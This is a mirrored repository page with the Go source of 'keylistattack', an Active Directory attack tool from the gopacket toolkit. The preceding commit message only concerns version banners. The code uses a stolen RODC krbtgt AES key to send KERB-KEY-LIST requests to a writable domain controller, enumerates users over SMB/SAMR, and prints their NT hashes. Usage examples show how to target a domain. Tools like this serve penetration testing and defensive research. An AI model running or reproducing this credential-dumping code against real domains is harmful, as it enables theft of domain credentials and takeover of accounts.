mirror of
https://github.com/mandiant/gopacket
synced 2026-06-21 13:57:02 +00:00
9e78779102
Before this, 26 tools hardcoded the literal "gopacket vX.Y.Z-beta - Copyright 2026 Google LLC" banner in print statements, totaling 34 occurrences across the tree. Every version bump meant updating the same string 34 times. Switches every tool to call flags.Banner(), which builds the banner from flags.Version. The Version const in pkg/flags/flags.go is now the single source of truth; future version bumps are a one-line change. Mechanical split: - 3 common print patterns (fmt.Println, fmt.Fprintln os.Stderr, fmt.Fprintf with trailing \n\n) swept with sed. - 6 heredoc-style flag.Usage functions had the banner line on a backtick-quoted format string. Each was split into a separate fmt.Fprintln(os.Stderr, flags.Banner()) followed by the existing Fprintf with the banner line trimmed off the format string. - 9 tools needed a new pkg/flags import added. - tools/describeTicket already imports github.com/jcmturner/gokrb5 /v8/iana/flags for Kerberos flag constants, so pkg/flags is aliased as gopflags there to avoid the name collision. Verified: go build, go vet, and go test ./pkg/transport/ all clean under default, CGO_ENABLED=0, and GOOS=windows CGO_ENABLED=0. Spot- checked -h output on samrdump, rpcmap, mssqlinstance, ping, and describeTicket; each renders the banner identically to before.
474 lines
13 KiB
Go
474 lines
13 KiB
Go
// Copyright 2026 Google LLC
|
|
//
|
|
// Licensed under the Apache License, Version 2.0 (the "License");
|
|
// you may not use this file except in compliance with the License.
|
|
// You may obtain a copy of the License at
|
|
//
|
|
// https://www.apache.org/licenses/LICENSE-2.0
|
|
//
|
|
// Unless required by applicable law or agreed to in writing, software
|
|
// distributed under the License is distributed on an "AS IS" BASIS,
|
|
// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
|
|
// See the License for the specific language governing permissions and
|
|
// limitations under the License.
|
|
|
|
package main
|
|
|
|
import (
|
|
"bufio"
|
|
"encoding/binary"
|
|
"flag"
|
|
"fmt"
|
|
"os"
|
|
"strings"
|
|
|
|
"github.com/mandiant/gopacket/internal/build"
|
|
"github.com/mandiant/gopacket/pkg/dcerpc"
|
|
"github.com/mandiant/gopacket/pkg/dcerpc/samr"
|
|
"github.com/mandiant/gopacket/pkg/flags"
|
|
"github.com/mandiant/gopacket/pkg/kerberos"
|
|
"github.com/mandiant/gopacket/pkg/session"
|
|
"github.com/mandiant/gopacket/pkg/smb"
|
|
)
|
|
|
|
var (
|
|
rodcNo = flag.Int("rodcNo", 0, "Number of the RODC krbtgt account (e.g., 20000 for krbtgt_20000)")
|
|
rodcKey = flag.String("rodcKey", "", "AES256 key of the Read Only Domain Controller")
|
|
targetUser = flag.String("t", "", "Attack only the username specified (LIST mode)")
|
|
targetFile = flag.String("tf", "", "File that contains a list of target usernames (LIST mode)")
|
|
domainFlag = flag.String("domain", "", "The fully qualified domain name (LIST mode)")
|
|
kdcHost = flag.String("kdc", "", "KDC HostName or FQDN (LIST mode)")
|
|
full = flag.Bool("full", false, "Run the attack against all domain users (noisy!)")
|
|
)
|
|
|
|
func main() {
|
|
flag.Usage = usage
|
|
opts := flags.Parse()
|
|
|
|
if opts.Debug {
|
|
build.Debug = true
|
|
}
|
|
|
|
// Validate required parameters
|
|
if *rodcNo == 0 {
|
|
fmt.Fprintln(os.Stderr, "[-] You must specify the RODC number (-rodcNo)")
|
|
os.Exit(1)
|
|
}
|
|
if *rodcKey == "" {
|
|
fmt.Fprintln(os.Stderr, "[-] You must specify the RODC AES key (-rodcKey)")
|
|
os.Exit(1)
|
|
}
|
|
|
|
if opts.TargetStr == "" {
|
|
usage()
|
|
os.Exit(1)
|
|
}
|
|
|
|
// Determine mode: LIST or SMB enumeration
|
|
if strings.ToUpper(opts.TargetStr) == "LIST" {
|
|
runListMode(opts)
|
|
} else {
|
|
runSMBEnumMode(opts)
|
|
}
|
|
}
|
|
|
|
func usage() {
|
|
fmt.Fprintln(os.Stderr, flags.Banner())
|
|
fmt.Fprintf(os.Stderr, `
|
|
Performs the KERB-KEY-LIST-REQ attack to dump secrets from the remote machine
|
|
without executing any agent there.
|
|
|
|
If SMB credentials are supplied, the script starts by enumerating the domain
|
|
users via SAMR. Otherwise, the attack is executed against the specified targets.
|
|
|
|
Usage:
|
|
keylistattack [[domain/]username[:password]@]<KDC HostName or IP> [options]
|
|
keylistattack LIST -kdc <KDC> -domain <domain> [options]
|
|
|
|
Examples:
|
|
# SMB enumeration mode (enumerate users from domain)
|
|
keylistattack contoso.com/jdoe:pass@dc01 -rodcNo 20000 -rodcKey <aesKey>
|
|
keylistattack contoso.com/jdoe:pass@dc01 -rodcNo 20000 -rodcKey <aesKey> -full
|
|
|
|
# LIST mode (use target file or specific user)
|
|
keylistattack LIST -kdc dc01.contoso.com -t victim -rodcNo 20000 -rodcKey <aesKey>
|
|
keylistattack LIST -kdc dc01 -domain contoso.com -tf targetfile.txt -rodcNo 20000 -rodcKey <aesKey>
|
|
|
|
Target:
|
|
[[domain/]username[:password]@]<KDC HostName or IP>
|
|
or "LIST" to use -t/-tf for targets
|
|
|
|
Options:
|
|
`)
|
|
flag.PrintDefaults()
|
|
}
|
|
|
|
func runListMode(opts *flags.Options) {
|
|
// Validate LIST mode parameters
|
|
if *kdcHost == "" {
|
|
fmt.Fprintln(os.Stderr, "[-] You must specify the KDC HostName or FQDN (-kdc)")
|
|
os.Exit(1)
|
|
}
|
|
|
|
domainName := *domainFlag
|
|
// Extract domain from KDC FQDN if not specified
|
|
if domainName == "" {
|
|
if strings.Contains(*kdcHost, ".") {
|
|
parts := strings.SplitN(*kdcHost, ".", 2)
|
|
domainName = parts[1]
|
|
} else {
|
|
fmt.Fprintln(os.Stderr, "[-] You must specify a target domain (-domain) or use FQDN for -kdc")
|
|
os.Exit(1)
|
|
}
|
|
}
|
|
|
|
// Get target list
|
|
var targets []string
|
|
if *targetUser != "" {
|
|
targets = append(targets, *targetUser+":N/A")
|
|
} else if *targetFile != "" {
|
|
file, err := os.Open(*targetFile)
|
|
if err != nil {
|
|
fmt.Fprintf(os.Stderr, "[-] Could not open file: %s - %v\n", *targetFile, err)
|
|
os.Exit(1)
|
|
}
|
|
defer file.Close()
|
|
|
|
scanner := bufio.NewScanner(file)
|
|
for scanner.Scan() {
|
|
line := strings.TrimSpace(scanner.Text())
|
|
if line != "" && !strings.HasPrefix(line, "#") {
|
|
if !strings.Contains(line, ":") {
|
|
line = line + ":N/A"
|
|
}
|
|
targets = append(targets, line)
|
|
}
|
|
}
|
|
|
|
if len(targets) == 0 {
|
|
fmt.Fprintln(os.Stderr, "[-] No valid targets specified in file")
|
|
os.Exit(1)
|
|
}
|
|
} else {
|
|
fmt.Fprintln(os.Stderr, "[-] You must specify a target username (-t) or targets file (-tf)")
|
|
os.Exit(1)
|
|
}
|
|
|
|
// Determine KDC IP
|
|
kdc := opts.DcIP
|
|
if kdc == "" {
|
|
kdc = opts.TargetIP
|
|
}
|
|
if kdc == "" {
|
|
kdc = *kdcHost
|
|
}
|
|
|
|
fmt.Println("[*] Using target users provided by parameter")
|
|
runKeyListAttack(domainName, kdc, *rodcNo, *rodcKey, targets)
|
|
}
|
|
|
|
func runSMBEnumMode(opts *flags.Options) {
|
|
// Parse target string: [[domain/]username[:password]@]<KDC>
|
|
target, creds, err := session.ParseTargetString(opts.TargetStr)
|
|
if err != nil {
|
|
fmt.Fprintf(os.Stderr, "[-] Invalid target: %v\n", err)
|
|
os.Exit(1)
|
|
}
|
|
|
|
opts.ApplyToSession(&target, &creds)
|
|
|
|
if target.Host == "" {
|
|
fmt.Fprintln(os.Stderr, "[-] You must specify the KDC HostName or IP Address")
|
|
os.Exit(1)
|
|
}
|
|
|
|
if creds.Domain == "" {
|
|
fmt.Fprintln(os.Stderr, "[-] You must specify a target domain")
|
|
os.Exit(1)
|
|
}
|
|
|
|
if creds.Username == "" {
|
|
fmt.Fprintln(os.Stderr, "[-] You must specify a username")
|
|
os.Exit(1)
|
|
}
|
|
|
|
// Prompt for password if needed
|
|
if creds.Password == "" && creds.Hash == "" && creds.AESKey == "" && !opts.NoPass && !opts.Kerberos {
|
|
fmt.Print("Password: ")
|
|
fmt.Scanln(&creds.Password)
|
|
}
|
|
|
|
// Determine target IP
|
|
remoteHost := opts.TargetIP
|
|
if remoteHost == "" {
|
|
remoteHost = target.Host
|
|
}
|
|
target.Host = remoteHost
|
|
|
|
if target.Port == 0 {
|
|
target.Port = 445
|
|
}
|
|
|
|
// Connect via SMB and enumerate users
|
|
fmt.Println("[*] Connecting via SMB to enumerate domain users")
|
|
|
|
smbClient := smb.NewClient(target, &creds)
|
|
if err := smbClient.Connect(); err != nil {
|
|
fmt.Fprintf(os.Stderr, "[-] SMB connection failed: %v\n", err)
|
|
os.Exit(1)
|
|
}
|
|
defer smbClient.Close()
|
|
fmt.Println("[+] SMB session established.")
|
|
|
|
// Get SMB session key for SAMR
|
|
sessionKey := smbClient.GetSessionKey()
|
|
if len(sessionKey) == 0 {
|
|
fmt.Fprintln(os.Stderr, "[-] Failed to obtain SMB session key")
|
|
os.Exit(1)
|
|
}
|
|
|
|
// Connect to SAMR
|
|
samrClient, err := connectSAMR(smbClient, sessionKey, creds.Domain)
|
|
if err != nil {
|
|
fmt.Fprintf(os.Stderr, "[-] Failed to connect to SAMR: %v\n", err)
|
|
os.Exit(1)
|
|
}
|
|
defer samrClient.Close()
|
|
|
|
fmt.Println("[*] Enumerating target users. This may take a while on large domains")
|
|
|
|
var targets []string
|
|
if *full {
|
|
targets, err = getAllDomainUsers(samrClient)
|
|
} else {
|
|
targets, err = getAllowedUsersToReplicate(samrClient)
|
|
}
|
|
|
|
if err != nil {
|
|
fmt.Fprintf(os.Stderr, "[-] Failed to enumerate users: %v\n", err)
|
|
os.Exit(1)
|
|
}
|
|
|
|
if len(targets) == 0 {
|
|
fmt.Println("[*] No eligible users found")
|
|
return
|
|
}
|
|
|
|
fmt.Printf("[*] Found %d users to target\n", len(targets))
|
|
|
|
// The key list TGS-REQ must be sent to the writable DC, not the RODC.
|
|
// The writable DC processes KERB-KEY-LIST-REQ and returns keys.
|
|
// SMB enumeration uses the target (RODC), but Kerberos goes to -dc-ip.
|
|
kdc := opts.DcIP
|
|
if kdc == "" {
|
|
kdc = remoteHost
|
|
}
|
|
|
|
runKeyListAttack(creds.Domain, kdc, *rodcNo, *rodcKey, targets)
|
|
}
|
|
|
|
func runKeyListAttack(domainName, kdcHostAddr string, rodcNoVal int, rodcKeyVal string, targets []string) {
|
|
keyList, err := kerberos.NewKeyListSecrets(domainName, kdcHostAddr, rodcNoVal, rodcKeyVal)
|
|
if err != nil {
|
|
fmt.Fprintf(os.Stderr, "[-] Failed to initialize key list attack: %v\n", err)
|
|
os.Exit(1)
|
|
}
|
|
|
|
fmt.Println("[*] Dumping Domain Credentials (domain\\uid:[rid]:nthash)")
|
|
fmt.Println("[*] Using the KERB-KEY-LIST request method. Tickets everywhere!")
|
|
|
|
for _, userEntry := range targets {
|
|
parts := strings.SplitN(userEntry, ":", 2)
|
|
username := parts[0]
|
|
rid := "N/A"
|
|
if len(parts) > 1 {
|
|
rid = parts[1]
|
|
}
|
|
|
|
ntHash, err := keyList.GetUserKey(username)
|
|
if err != nil {
|
|
fmt.Fprintf(os.Stderr, "[-] %s: %v\n", username, err)
|
|
continue
|
|
}
|
|
|
|
fmt.Printf("%s\\%s:%s:%s\n", strings.ToLower(domainName), username, rid, ntHash)
|
|
}
|
|
}
|
|
|
|
func connectSAMR(smbClient *smb.Client, sessionKey []byte, domainName string) (*samr.SamrClient, error) {
|
|
// Open SAMR pipe
|
|
pipe, err := smbClient.OpenPipe("samr")
|
|
if err != nil {
|
|
return nil, fmt.Errorf("failed to open SAMR pipe: %v", err)
|
|
}
|
|
|
|
// Create RPC client and bind
|
|
rpcClient := dcerpc.NewClient(pipe)
|
|
if err := rpcClient.Bind(samr.UUID, samr.MajorVersion, samr.MinorVersion); err != nil {
|
|
return nil, fmt.Errorf("failed to bind to SAMR: %v", err)
|
|
}
|
|
fmt.Println("[+] SAMR bind successful.")
|
|
|
|
// Create SAMR client
|
|
samrClient := samr.NewSamrClient(rpcClient, sessionKey)
|
|
|
|
// Connect to SAM server
|
|
if err := samrClient.Connect(); err != nil {
|
|
return nil, fmt.Errorf("failed to connect to SAM: %v", err)
|
|
}
|
|
|
|
// Open domain
|
|
if err := samrClient.OpenDomain(domainName); err != nil {
|
|
return nil, fmt.Errorf("failed to open domain: %v", err)
|
|
}
|
|
|
|
return samrClient, nil
|
|
}
|
|
|
|
func getAllDomainUsers(samrClient *samr.SamrClient) ([]string, error) {
|
|
// Get users via SAMR enumeration
|
|
// Users not allowed to replicate passwords by default
|
|
deniedUsers := map[uint32]bool{
|
|
500: true, // Administrator
|
|
501: true, // Guest
|
|
502: true, // krbtgt
|
|
503: true, // DefaultAccount
|
|
}
|
|
|
|
users, err := samrClient.EnumerateDomainUsers()
|
|
if err != nil {
|
|
return nil, err
|
|
}
|
|
|
|
var targets []string
|
|
for _, user := range users {
|
|
if !deniedUsers[user.RID] && !strings.HasPrefix(user.Name, "krbtgt_") {
|
|
targets = append(targets, fmt.Sprintf("%s:%d", user.Name, user.RID))
|
|
}
|
|
}
|
|
|
|
return targets, nil
|
|
}
|
|
|
|
func getAllowedUsersToReplicate(samrClient *samr.SamrClient) ([]string, error) {
|
|
// Build denied RID set: start with default denied RIDs
|
|
deniedRIDs := map[uint32]bool{
|
|
500: true, // Administrator
|
|
501: true, // Guest
|
|
502: true, // krbtgt
|
|
503: true, // DefaultAccount
|
|
}
|
|
|
|
// "Denied RODC Password Replication Group" (RID 572) is a domain alias,
|
|
// not a Builtin alias. Use the primary domain handle.
|
|
domainHandle := samrClient.GetDomainHandle()
|
|
|
|
// Get members of "Denied RODC Password Replication Group" (domain alias RID 572)
|
|
aliasHandle, err := samrClient.OpenAlias(domainHandle, 572)
|
|
if err != nil {
|
|
if build.Debug {
|
|
fmt.Fprintf(os.Stderr, "[!] Could not open Denied Password Replication Group: %v (falling back to -full mode)\n", err)
|
|
}
|
|
return getAllDomainUsers(samrClient)
|
|
}
|
|
|
|
memberSIDs, err := samrClient.GetMembersInAlias(aliasHandle)
|
|
if err != nil {
|
|
if build.Debug {
|
|
fmt.Fprintf(os.Stderr, "[!] Could not enumerate denied group members: %v\n", err)
|
|
}
|
|
}
|
|
|
|
for _, sid := range memberSIDs {
|
|
if rid := extractRIDFromSID(sid); rid != 0 {
|
|
deniedRIDs[rid] = true
|
|
}
|
|
}
|
|
|
|
// Enumerate domain groups and aliases for recursive expansion
|
|
groups, _ := samrClient.EnumerateDomainGroups()
|
|
groupSet := make(map[uint32]bool)
|
|
for _, g := range groups {
|
|
groupSet[g.RID] = true
|
|
}
|
|
|
|
aliases, _ := samrClient.EnumerateDomainAliases(domainHandle)
|
|
aliasSet := make(map[uint32]bool)
|
|
for _, a := range aliases {
|
|
aliasSet[a.RID] = true
|
|
}
|
|
|
|
// Recursively expand nested groups/aliases in the denied list
|
|
queue := make([]uint32, 0, len(deniedRIDs))
|
|
for rid := range deniedRIDs {
|
|
queue = append(queue, rid)
|
|
}
|
|
|
|
for i := 0; i < len(queue); i++ {
|
|
rid := queue[i]
|
|
|
|
if groupSet[rid] {
|
|
gh, err := samrClient.OpenGroup(rid)
|
|
if err != nil {
|
|
continue
|
|
}
|
|
memberRIDs, err := samrClient.GetMembersInGroup(gh)
|
|
if err != nil {
|
|
continue
|
|
}
|
|
for _, mrid := range memberRIDs {
|
|
if !deniedRIDs[mrid] {
|
|
deniedRIDs[mrid] = true
|
|
queue = append(queue, mrid)
|
|
}
|
|
}
|
|
} else if aliasSet[rid] {
|
|
ah, err := samrClient.OpenAlias(domainHandle, rid)
|
|
if err != nil {
|
|
continue
|
|
}
|
|
sids, err := samrClient.GetMembersInAlias(ah)
|
|
if err != nil {
|
|
continue
|
|
}
|
|
for _, sid := range sids {
|
|
if mrid := extractRIDFromSID(sid); mrid != 0 && !deniedRIDs[mrid] {
|
|
deniedRIDs[mrid] = true
|
|
queue = append(queue, mrid)
|
|
}
|
|
}
|
|
}
|
|
}
|
|
|
|
// Enumerate all domain users and filter out denied ones
|
|
users, err := samrClient.EnumerateDomainUsers()
|
|
if err != nil {
|
|
return nil, err
|
|
}
|
|
|
|
var targets []string
|
|
for _, user := range users {
|
|
if !deniedRIDs[user.RID] && !strings.HasPrefix(user.Name, "krbtgt_") {
|
|
targets = append(targets, fmt.Sprintf("%s:%d", user.Name, user.RID))
|
|
}
|
|
}
|
|
|
|
return targets, nil
|
|
}
|
|
|
|
// extractRIDFromSID extracts the last SubAuthority (RID) from a raw SID.
|
|
func extractRIDFromSID(sid []byte) uint32 {
|
|
if len(sid) < 12 {
|
|
return 0
|
|
}
|
|
subAuthCount := int(sid[1])
|
|
if subAuthCount == 0 {
|
|
return 0
|
|
}
|
|
offset := 8 + (subAuthCount-1)*4
|
|
if offset+4 > len(sid) {
|
|
return 0
|
|
}
|
|
return binary.LittleEndian.Uint32(sid[offset:])
|
|
}
|